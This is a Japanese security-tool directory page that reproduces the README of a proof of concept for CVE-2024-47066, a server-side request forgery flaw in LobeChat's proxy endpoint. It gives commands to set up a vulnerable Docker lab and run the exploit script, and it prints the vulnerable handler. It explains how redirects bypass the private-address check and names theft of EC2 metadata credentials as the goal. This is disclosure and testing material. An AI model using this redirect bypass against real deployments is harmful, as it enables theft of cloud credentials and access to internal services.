Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-47066 — CVE-2024-47066 の概念実証 | Kitploit
ツール/GitHubGitHub/l8bl/cve-2024-47066
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストクラウドセキュリティ
GitHubl8bl/cve-2024-47066

CVE-2024-47066

CVE-2024-47066 の概念実証

リポジトリを見る
411年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-47066

★ CVE-2024-47066 LobeChat SSRF PoC ★

説明

CVE-2024-47066 : Lobe Chat は、オープンソースの人工知能チャットフレームワークです。バージョン1.19.13より前では、src/app/api/proxy/route.ts に実装されたサーバーサイドリクエストフォージェリ対策がリダイレクトを考慮しておらず、攻撃者がプライベートネットワークやループバックアドレスなどの内部リソースへリダイレクトする外部の悪意のあるURLを提供した場合に、この対策をバイパスされる可能性がありました。バージョン1.19.13には、この問題に対する改善された修正が含まれています。

報告者: a1loy

https://github.com/user-attachments/assets/2c4a3be0-5732-48f5-a96c-d361fd914fec

使用方法

Git clone

root@kitploit:~
git clone https://github.com/l8BL/CVE-2024-47066.git
cd CVE-2024-47066

脆弱性環境のセットアップ

root@kitploit:~
cd docker
docker-compose up -d

(外部) LodeChat --> SSRF攻撃 --> (内部) http://www.internal-service:4000

パッケージのインストール

root@kitploit:~
pip install -r requirements.txt

コマンド

root@kitploit:~
python3 CVE-2024-47066.py -v <URL_TO_EXPLOIT> -i <URL_TO_REQUEST>

使用例

root@kitploit:~
python3 CVE-2024-47066.py -v http://localhost:3210 -i http://www.internal-service:4000

出力

CVE-2024-47066 代替テキスト

結果

代替テキスト

分析

脆弱性ポイント (/app/api/proxy/route.ts)

root@kitploit:~
import { isPrivate } from 'ip';
import { NextResponse } from 'next/server';
import dns from 'node:dns';
import { promisify } from 'node:util';

const lookupAsync = promisify(dns.lookup);

export const runtime = 'nodejs';

/**
 * just for a proxy
 */
export const POST = async (req: Request) => {
  const url = new URL(await req.text());
  let address;

  try {
    const lookupResult = await lookupAsync(url.hostname);
    address = lookupResult.address;
  } catch (err) {
    console.error(`${url.hostname} DNS parser error:`, err);

    return NextResponse.json({ error: 'DNS parser error' }, { status: 504 });
  }

  const isInternalHost = isPrivate(address);

  if (isInternalHost)
    return NextResponse.json({ error: 'Not support internal host proxy' }, { status: 400 });

  const res = await fetch(url.toString());

  return new Response(res.body, { headers: res.headers });
};

26行目以降には、Redirectレスポンスを判定する箇所がありません。そのため、URL短縮サービスを利用すると、簡単に「isPrivate()」関数をバイパスできます。

攻撃シナリオ

EC2メタデータ認証情報を窃取する

http://169.254.169.254 にリクエストを送信します

免責事項

このリポジトリは、CVE-2024-47066 に対するSSRFエクスプロイトを意図したものではありません。このプロジェクトの目的は、この脆弱性について学び、自分自身のアプリケーションをテストするための支援をすることです。

参照

https://github.com/advisories/GHSA-3fc8-2r3f-8wrg

ツールをダウンロード